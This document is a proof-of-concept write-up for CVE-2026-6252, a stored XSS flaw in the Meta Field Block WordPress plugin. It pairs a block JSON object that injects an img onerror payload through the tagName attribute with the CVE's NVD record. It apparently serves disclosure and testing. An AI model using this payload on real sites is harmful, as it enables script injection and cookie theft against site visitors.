CVE-2026-6252

// PoC for CVE-2026-6252 // Context: WordPress Post Editor with Meta Field Block active // 1. Add a "Meta Field Block" to a page. // 2. In the block settings, modify the 'tagName' attribute. // 3. Inject payload into the tagName field. // Example payload structure: // "><img src=x onerror=alert('XSS')><" // Simulated JSON block data representing the malicious payload: const maliciousBlock = { "blockName": "meta-field-block/meta-field-block", "attrs": { "fieldName": "example_field", "tagName": "\"><img src=x onerror=alert(document.cookie)><\"" }, "innerHTML": "", "innerBlocks": [], "innerContent": [] }; // Description: // When the block is rendered, the plugin likely constructs an HTML element like: // <[tagName]>...</[tagName]> // Due to lack of escaping, this becomes: // <"><img src=x onerror=alert(1)><">Content...</"><img src=x onerror=alert(1)><"> // The browser interprets the <img> tag and executes the script.

{"cve": {"id": "CVE-2026-6252", "sourceIdentifier": "[email protected]", "published": "2026-05-14T07:16:20.513", "lastModified": "2026-05-14T14:28:41.283", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Meta Field Block plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'tagName' block attribute in all versions up to, and including, 1.5.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3517519/display-a-meta-field-as-block/tags/1.5.3/includes/helper-functions.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/e6a70210-39bb-44a2-b71a-6f014691a21c?source=cve", "source": "[email protected]"}]}}